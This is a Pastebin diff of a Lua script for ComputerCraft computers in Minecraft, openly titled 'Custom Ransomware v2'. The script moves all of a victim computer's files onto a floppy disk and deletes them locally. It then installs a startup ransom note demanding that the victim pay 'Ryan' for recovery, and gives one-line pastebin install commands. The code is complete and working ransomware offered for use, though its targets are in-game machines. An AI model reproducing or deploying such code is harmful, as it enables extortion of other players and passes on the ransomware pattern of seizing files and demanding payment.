SHOW:
|
|
- or go back to the newest paste.
| 1 | - | -- SmilerRyan's "Custom Ramsomware" POC: |
| 1 | + | -- Custom Ransomware v2 by SmilerRyan Install to your pocket computer on /startup |
| 2 | - | -- Moves files to disk so they can be recovered later. |
| 2 | + | -- Can carry around and explore files, bypasses infection of pocket devices. |
| 3 | - | -- NOTE: Recovery will OVERWRITE all files on the machine. |
| 3 | + | -- Install Command: pastebin get V7h6nzHv /startup |
| 4 | - | -- USAGE: Insert floppy with disk in device(s) to copy from/to. |
| 4 | + | |
| 5 | - | -- DOWNLOAD (ON EMPTY FLOPPY): pastebin get 8as1ZrD5 /disk/startup |
| 5 | + | |
| 6 | if pocket then | |
| 7 | if term.isColor() then | |
| 8 | - | term.setBackgroundColor(colors.red) |
| 8 | + | term.setTextColor(colors.yellow) |
| 9 | - | term.setTextColor(colors.black) |
| 9 | + | |
| 10 | ||
| 11 | if fs.isDir("/r") then
| |
| 12 | print("Pocket, backup Exists");
| |
| 13 | else | |
| 14 | print("Pocket, No backup found");
| |
| 15 | - | print("Decrypting...")
|
| 15 | + | |
| 16 | ||
| 17 | - | print("Encrypting...")
|
| 17 | + | return |
| 18 | end | |
| 19 | ||
| 20 | if term.isColor() then | |
| 21 | term.setBackgroundColor(colors.red) | |
| 22 | - | fs.delete("/startup")
|
| 22 | + | term.setTextColor(colors.black) |
| 23 | - | shell.run("rm /disk/startup")
|
| 23 | + | |
| 24 | - | local ignore={["disk"]=true,["rom"]=true}
|
| 24 | + | |
| 25 | - | for _, filename in ipairs(fs.list("/disk/r")) do
|
| 25 | + | |
| 26 | - | if not ignore[filename] then |
| 26 | + | |
| 27 | - | fs.move("/disk/r/"..filename, "/"..filename)
|
| 27 | + | print("Moving Files...")
|
| 28 | ||
| 29 | if fs.isDir("/disk/r") then
| |
| 30 | fs.delete("/startup")
| |
| 31 | - | fs.delete("/disk/r")
|
| 31 | + | local ignore={["disk"]=true,["rom"]=true}
|
| 32 | - | local floppy_name = "Backup Disk: empty" |
| 32 | + | for _, filename in ipairs(fs.list("/disk/r")) do
|
| 33 | - | disk.setLabel("top", floppy_name)
|
| 33 | + | if not ignore[filename] then |
| 34 | - | disk.setLabel("bottom", floppy_name)
|
| 34 | + | fs.move("/disk/r/"..filename, "/"..filename)
|
| 35 | - | disk.setLabel("left", floppy_name)
|
| 35 | + | end |
| 36 | - | disk.setLabel("right", floppy_name)
|
| 36 | + | |
| 37 | - | disk.setLabel("front", floppy_name)
|
| 37 | + | fs.delete("/disk/r")
|
| 38 | - | disk.setLabel("back", floppy_name)
|
| 38 | + | |
| 39 | fs.makeDir("/disk/r");
| |
| 40 | local ignore={["disk"]=true,["rom"]=true}
| |
| 41 | for _, filename in ipairs(fs.list("")) do
| |
| 42 | - | fs.makeDir("/disk/r");
|
| 42 | + | if not ignore[filename] then |
| 43 | - | local ignore={["disk"]=true,["rom"]=true}
|
| 43 | + | fs.move(filename, "/disk/r/"..filename) |
| 44 | - | for _, filename in ipairs(fs.list("")) do
|
| 44 | + | end |
| 45 | - | if not ignore[filename] then |
| 45 | + | |
| 46 | - | fs.move(filename, "/disk/r/"..filename) |
| 46 | + | file = fs.open("/startup", "w")
|
| 47 | file.writeLine('if term.isColor() then')
| |
| 48 | file.writeLine('term.setBackgroundColor(colors.red)')
| |
| 49 | file.writeLine('term.setTextColor(colors.black)')
| |
| 50 | - | local floppy_name = "Backup Disk: full" |
| 50 | + | file.writeLine('end')
|
| 51 | - | disk.setLabel("top", floppy_name)
|
| 51 | + | file.writeLine('term.clear()')
|
| 52 | - | disk.setLabel("bottom", floppy_name)
|
| 52 | + | file.writeLine('print("Note:")')
|
| 53 | - | disk.setLabel("left", floppy_name)
|
| 53 | + | file.writeLine('print("Your files on this computer have been removed!")')
|
| 54 | - | disk.setLabel("right", floppy_name)
|
| 54 | + | file.writeLine('print("The files can recovered if you follow the steps.")')
|
| 55 | - | disk.setLabel("front", floppy_name)
|
| 55 | + | file.writeLine('print("")')
|
| 56 | - | disk.setLabel("back", floppy_name)
|
| 56 | + | file.writeLine('print("Failure to follow these steps results in")')
|
| 57 | file.writeLine('print("losing these files. If you can\'t pay, remove this message:")')
| |
| 58 | - | file = fs.open("/startup", "w")
|
| 58 | + | file.writeLine('print("")')
|
| 59 | - | file.writeLine('if term.isColor() then')
|
| 59 | + | file.writeLine('print("rm /startup")')
|
| 60 | - | file.writeLine('term.setBackgroundColor(colors.red)')
|
| 60 | + | file.writeLine('print("reboot")')
|
| 61 | - | file.writeLine('term.setTextColor(colors.black)')
|
| 61 | + | file.writeLine('print("")')
|
| 62 | - | file.writeLine('end')
|
| 62 | + | file.writeLine('print("Recovery Instructions:")')
|
| 63 | - | file.writeLine('term.clear()')
|
| 63 | + | file.writeLine('print("Send a message to Ryan, pay the amount asked and wait for your disk (insert disk and reboot).")')
|
| 64 | - | file.writeLine('print("Note:")')
|
| 64 | + | file.writeLine('print("")')
|
| 65 | - | file.writeLine('print("Your files on this computer have been removed!")')
|
| 65 | + | file.writeLine('print("Press any key to continue...")')
|
| 66 | - | file.writeLine('print("The files can recovered if you follow the steps.")')
|
| 66 | + | file.writeLine('os.pullEvent("key")');
|
| 67 | - | file.writeLine('print("")')
|
| 67 | + | file.writeLine('if term.isColor() then');
|
| 68 | - | file.writeLine('print("Failure to follow these steps results in")')
|
| 68 | + | file.writeLine('term.setBackgroundColor(colors.black)');
|
| 69 | - | file.writeLine('print("losing these files. If you can\'t pay, remove this message:")')
|
| 69 | + | file.writeLine('term.setTextColor(colors.yellow)');
|
| 70 | - | file.writeLine('print("")')
|
| 70 | + | file.writeLine('end');
|
| 71 | - | file.writeLine('print("rm /startup")')
|
| 71 | + | file.writeLine('shell.run("clear")');
|
| 72 | - | file.writeLine('print("reboot")')
|
| 72 | + | file.writeLine('print(os.version())');
|
| 73 | - | file.writeLine('print("")')
|
| 73 | + | file.close() |
| 74 | - | file.writeLine('print("Recovery Instructions:")')
|
| 74 | + | |
| 75 | - | file.writeLine('print("Send a message to SmilerRyan, pay the amount asked and wait for your disk (insert disk and reboot).")')
|
| 75 | + | |
| 76 | - | file.writeLine('print("")')
|
| 76 | + | |
| 77 | - | file.writeLine('print("Press any key to continue...")')
|
| 77 | + | |
| 78 | - | file.writeLine('os.pullEvent("key")');
|
| 78 | + | |
| 79 | - | file.writeLine('if term.isColor() then');
|
| 79 | + | |
| 80 | - | file.writeLine('term.setBackgroundColor(colors.black)');
|
| 80 | + | |
| 81 | - | file.writeLine('term.setTextColor(colors.yellow)');
|
| 81 | + | |
| 82 | - | file.writeLine('end');
|
| 82 | + | os.reboot() |
| 83 | - | file.writeLine('shell.run("clear")');
|
| 83 | + |